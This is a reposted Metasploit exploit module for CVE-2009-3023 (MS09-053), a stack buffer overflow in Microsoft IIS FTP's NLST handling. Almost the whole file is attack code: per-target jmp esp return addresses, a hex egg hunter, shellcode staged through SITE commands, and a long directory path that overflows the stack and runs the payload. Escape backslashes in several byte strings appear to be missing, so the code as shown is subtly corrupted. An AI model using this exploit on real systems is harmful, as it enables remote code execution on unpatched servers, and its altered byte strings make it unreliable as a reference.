Home / os / win7

ms09_053_ftpd_nlst.rb.txt

Posted on 07 October 2010

##
# $Id: ms09_053_ftpd_nlst.rb 10558 2010-10-05 23:39:14Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name'           => 'Microsoft IIS FTP Server NLST Response Overflow',
'Description'    => %q{
This module exploits a stack buffer overflow flaw in the Microsoft IIS FTP
service. The flaw is triggered when a special NLST argument is passed
while the session has changed into a long directory path. For this exploit
to work, the FTP server must be configured to allow write access to the
file system (either anonymously or in conjunction with a real account)
},
'Author'         => [ 'Kingcope <kcope2[at]googlemail.com>', 'hdm' ],
'License'        => MSF_LICENSE,
'Version'        => '$Revision: 10558 $',
'References'     =>
[
['URL', 'http://milw0rm.com/exploits/9541'],
['CVE', '2009-3023'],
['OSVDB', '57589'],
['BID', '36189'],
['MSB', 'MS09-053'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged'     => true,
'Payload'        =>
{
'Space'    => 490,
'BadChars' => "x00x09x0cx20x0ax0dx0b",
# This is for the stored payload, the real BadChar list for file paths is:
# x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20x22x2ax2ex2fx3ax3cx3ex3fx5cx7c
'StackAdjustment' => -3500,
},
'Platform'       => [ 'win' ],
'Targets'        =>
[
[
'Windows 2000 SP4 English/Italian (IIS 5.0)',
{
'Ret'      => 0x773d24eb,  # jmp esp in activeds.dll (English / 5.0.2195.6601)
'Patch'    => 0x7ffd7ffd   # works for off-by-two alignment
},
],
[
'Windows 2000 SP3 English (IIS 5.0)',
{
'Ret'      => 0x77e42ed8,  # jmp esp in user32.dll (English / 5.0.2195.7032)
'Patch'    => 0x7ffd7ffd   # works for off-by-two alignment
},
],
[
# target from TomokiSanaki
'Windows 2000 SP0-SP3 Japanese (IIS 5.0)',
{
'Ret'      => 0x774fa593,  # jmp esp in ?? (Japanese)
'Patch'    => 0x7ffd7ffd   # works for off-by-two alignment
},
],
],
'DisclosureDate' => 'Aug 31 2009',
'DefaultTarget' => 0))

register_options([Opt::RPORT(21),], self.class)
end


def exploit
connect_login


based = rand_text_alpha_upper(10)

res   = send_cmd( ['MKD', based ], true )
print_status(res.strip)

if (res !~ /directory created/)
print_error("The root directory of the FTP server is not writeable")
disconnect
return
end

res   = send_cmd( ['CWD', based ], true )
print_status(res.strip)

egg = rand_text_alpha_upper(4)
hun = "xB8x55x55x52x55x35x55x55x55x55x40x81x38#{egg}x75xF7x40x40x40x40xFFxE0"

# This egg hunter is necessary because of the huge set of restricted characters for directory names
# The best that metasploit could so was 133 bytes for an alphanum encoded egg hunter
# The egg hunter above was written by kcope and searches from 0x70000 forward (stack) in order
# to locate the real shellcode. The only change from the original hunter was to randomize the
# prefix used.

# Store our real shellcode on the stack
1.upto(5) do
res = send_cmd( ['SITE', egg + payload.encoded.gsub("xff", "xffxff") ], true )
end

# Create the directory path that will be used in the overflow
pre = rand_text_alpha_upper(3)              # esp+0x28 points here
pst = rand_text_alpha_upper(210)            # limited by max path

pst[  0, hun.length]  = hun                 # egg hunter
pst[ 90,  4]  = [target['Patch']].pack('V') # patch smashed pointers
pst[ 94,  4]  = [target['Patch']].pack('V')	# patch smashed pointers
pst[140, 32]  = [target['Patch']].pack('V') * 8  # patch smashed pointers
pst[158,  4]  = [target.ret].pack("V")      # return
pst[182,  5]  = "xe9" + [-410].pack("V")   # jmp back

# Escape each 0xff with another 0xff for FTP
pst = pst.gsub("xff", "xffxff")

print_status("Creating long directory...")
res   = send_cmd( ['MKD', pre+pst ], true )
print_status(res.strip)

srv	  = Rex::Socket::TcpServer.create(
'LocalHost' => '0.0.0.0',
'LocalPort' =>  0,
'SSL'       => false,
'Context'   => {
'Msf'        => framework,
'MsfExploit' => self,
}
)

add_socket(srv)

begin

thr = Thread.new { srv.accept }

prt   = srv.getsockname[2]
prt1  = prt / 256
prt2  = prt % 256

addr  = Rex::Socket.source_address(rhost).gsub(".", ",") + ",#{prt1},#{prt2}"

res   = send_cmd( ['PORT', addr ], true )
print_status(res.strip)

print_status("Trying target #{target.name}...")

res   = send_cmd( ['NLST', pre+pst + "*/../" + pre + "*/"], true )
print_status(res.strip) if res

select(nil,nil,nil,2)

handler
disconnect

ensure
thr.kill
srv.close

end
end

end

 

TOP